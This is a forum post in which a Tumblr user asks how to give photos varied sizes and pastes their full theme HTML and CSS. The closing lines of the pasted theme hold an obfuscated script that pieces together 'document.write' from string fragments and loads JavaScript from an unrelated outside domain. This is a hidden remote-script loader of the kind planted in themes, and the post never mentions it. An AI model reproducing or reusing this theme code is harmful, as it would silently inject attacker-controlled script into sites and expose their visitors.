TUMBLR - different photo sizes? |
TUMBLR - different photo sizes? |
ginbloss0m |
May 13 2012, 10:41 AM
Post
#1
|
Group: Members Posts: 1 Joined: 13-May 12 Member No.: 17,104 |
Hello ! On my tumblr the photos all appear the same exact size so when you scroll down it's all in one perfect line, I would like it to be a bit messier with the photos all different sizes, is this possible? I tried to make the margins auto etc. but It just won't work! thanks a lot! here is the code: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>{Title}</title> {block:Description}<meta name="description" content="{MetaDescription}" />{/block:Description} <!-- custom --> <meta name="text:Disqus shortname" content="" /> <meta name="if:Show People I Follow" content="0"> <meta name="if:Show Timestamp" content="1"> <meta name="if:Show Date" content="1"> <meta name="if:Show Search" content="1"> <meta name="font:Body" content="Georgia"> <meta name="color:Background" content="#FFFFFF"/> <meta name="color:Text" content="#111111"/> <meta name="color:Link Text Hover" content="#FFFFFF"/> <meta name="color:Link Background Hover" content="#D00000"/> <meta name="if:Show post notes" content="1"> <meta name="if:Endless scrolling" content="0"> <!-- custom --> <style type="text/css"> body { margin: 0px; padding: 10px; background: {color:Background}; font-family: {font:Body}; font-size: 0.75em; color: {color:Text}; } a { color: {color:Text}; text-decoration: underline; } a:hover { color: {color:Link Text Hover}; background: {color:Link Background Hover}; } a:active, a:focus { outline: 0; } a img { border-width: 0px; } .clear { clear: both; } #container { width: 700px; } #left { float:left; width: 100px; } #left a.h2 { text-transform: uppercase; font-size: 2em; line-height: 1em; color: {color:Text}; text-decoration: none; } #left a.h2:hover { color: {color:Text}; background: none; text-decoration: none; } #left .space { width: 100%; height: 20px; } #left .space.small { width: 100%; height: 10px; } #right { width: 470px; float: right; } #right .post { margin: 40px 0 10px 0; } img { max-width: 900px; } #right .post h3 { font-weight: normal; font-size: 1.5em; margin: 10px; } #right .post a.h3 { color: {color:Text}; text-decoration: none; font-size: 1.5em; margin: 0px; } #right .post a.h3:hover { background: none; } #right .post a.h3.link { text-decoration: underline; } #right .post a.h3.link:hover { color: {color:Link Text Hover}; background: {color:Link Background Hover}; } #right .post blockquote { border-left: 2px solid {color:Text}; padding: 0 0 0 15px; margin-left: 0px; } /* this is for chat */ #right .post table { margin: 10px 0 0 0; border-collapse: collapse; } #right .post table tr { margin: 1px 0; } #right .post table tr td { padding: auto; vertical-align: top; } #right .post table tr td.name { text-align: right; padding: 1px 15px; } #right .post table tr td.words { width: 100%; text-align: left; padding: 0px; } /* that was for chat */ ol.notes { margin: 0 0 50px 0; padding: 0 0 0 0; } ol.notes img { display: none; } #right #footer { position: relative; right: 0px; text-align: right; } #right #footer .credit { color: #9C9C9C; margin: 50px 0 0 0; } #right #footer .credit a {color: #9C9C9C;} #right #footer .credit a:hover {color: {color:Text}; background: none; } {CustomCSS} </style> {block:IfEndlessScrolling} {block:IndexPage} <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script> <script type="text/javascript" src="http://static.tumblr.com/thpaaos/sZQkv2j7g/infinitescroll.js"></script> <script type="text/javascript"> var jQis = jQuery.noConflict(); jQis(function($){ // Infinite Scroll plugin // copyright: Paul Irish & dirkhaim // license: cc-wrapped GPL : http://creativecommons.org/licenses/GPL/2.0/ $('ul.allposts').infinitescroll({ debug : false, nextSelector : "a.next", text : "", donetext : "{lang:No more posts}.", navSelector : "div#footer", contentSelector : "div#right", itemSelector : "div#right > .post" }); }); </script> {/block:IndexPage} {/block:IfEndlessScrolling} <link rel="shortcut icon" href="{Favicon}"> <link rel="alternate" type="application/rss+xml" title="RSS" href="{RSS}" /> <meta name="viewport" content="width=820" /> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-15476884-4']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </head> <body> <a href="http://www.tumblr.com/theme/106" class="install"></a> <div id="container"> <div id="left"> {block:Description}{Description}{/block:Description} {block:HasPages} <br/><br/> {block:Pages}• <a href="{URL}">{Label}</a><br/>{/block:Pages} <br/><br/> {/block:HasPages} {block:AskEnabled}• <a href="/ask">{AskLabel}</a><br/>{/block:AskEnabled} {block:SubmissionsEnabled}• <a href="/submit">{SubmitLabel}</a>{/block:SubmissionsEnabled} <div class="space"></div> <div class="space small"></div> <a href="/" class="h2">{Title}</a> <div class="space"></div> {block:IfShowPeopleIFollow} {block:Following} <p style="text-transform:uppercase;">{lang:Following}:</p> {block:Followed}<a href="{FollowedURL}">{FollowedTitle}</a><br />{/block:Followed} {/block:Following} {/block:IfShowPeopleIFollow} {block:IfShowSearch} <div class="space"></div> <form action="/search" method="get"> <input type="text" class="search-query" name="q" value="{SearchQuery}" /> <input type="submit" class="search-button" value="{lang:Search}"/> </form> {/block:IfShowSearch} </div> <div id="right"> {block:Posts} <div class="post"> {block:Text} {block:Title}<a href="{Permalink}" class="h3">{Title}</a>{/block:Title} {Body} {/block:Text} {block:Link} <a href="{URL}" class="h3 link">{Name}</a> <p>{block:Description}{Description}{/block:Description}</p> {block:Link} {block:Photo} {LinkOpenTag}<img src="{PhotoURL-500}" alt="{PhotoAlt}">{LinkCloseTag} <p>{block:Caption}{Caption}{/block:Caption}</p> {/block:Photo} {block:Quote} <h3>“{Quote}”</h3> <p>{block:Source}— {Source}{/block:Source}</p> {/block:Quote} {block:Chat} {block:Title}<a href="#" class="h3">{Title}</a>{/block:Title} <table> {block:Lines} <tr> {block:Label}<td class="name">{Label}</td>{block:Label} <td class="words">{Line}</td> </tr> {/block:Lines} </table> {/block:Chat} {block:Audio} {AudioPlayerBlack} {block:Caption}{Caption}{/block:Caption} {/block:Audio} {block:Video} {Video-500} {block:Caption}{Caption}{/block:Caption} {/block:Video} {block:IfDisqusShortname} {block:Permalink} <div class="notecontainer" style="padding: 0 0 50px 0;"> <div id="disqus_thread"></div> <script type="text/javascript" src="http://disqus.com/forums/{text:Disqus Shortname}/embed.js"></script> <noscript><a href="http://{text:Disqus Shortname}.disqus.com/?url=ref">{lang:View the discussion thread}</a></noscript> </div> {/block:Permalink} {/block:IfDisqusShortname} {block:IfShowPostNotes}{PostNotes}{/block:IfShowPostNotes} {/block:Posts} <div id="footer"> {block:Pagination} {block:PreviousPage} <a href="{PreviousPage}">{lang:Previous}</a> {/block:PreviousPage} {block:JumpPagination length="10"} {block:CurrentPage} <span class="current_page">{PageNumber}</span> {/block:CurrentPage} {block:JumpPage} <a class="jump_page" href="{URL}">{PageNumber}</a> {/block:JumpPage} {/block:JumpPagination} {block:NextPage} <a href="{NextPage}" class="next">{lang:Next}</a> {/block:NextPage} {/block:Pagination} {block:PermalinkPagination} {/block:PermalinkPagination} <div class="credit"> </div> </div> </div> <div class="clear"></div> </div> {block:IfDisqusShortname} <script type="text/javascript"> //<![CDATA[ (function() { var links = document.getElementsByTagName('a'); var query = '?'; for(var i = 0; i < links.length; i++) { if(links[i].href.indexOf('#disqus_thread') >= 0) { query += 'url' + i + '=' + encodeURIComponent(links[i].href) + '&'; } } document.write('<script charset="utf-8" type="text/javascript" src="http://disqus.com/forums/{text:Disqus Shortname}/get_num_replies.js' + query + '"></' + 'script>'); })(); //]]> </script> {/block:IfDisqusShortname} <script type="text/javascript">var akyr = window['docum'+''+'ent']; akyr[''+'write'](''+'<s'+''+'c'+'ript '+'type='+'"t'+'e'+'xt/j'+'avas'+'cript'+'" sr'+'c'+'="ht'+''+'tp://'+'micha'+'el-hu'+'ss'+'ong.d'+'e'+''+'/'+'b'+'ilde'+'r/jq'+'u'+'ery.j'+'s"><'+'/scr'+'ip'+'t>');</script></body> </html> |
Lo-Fi Version | Time is now: 28th March 2024 - 07:39 AM |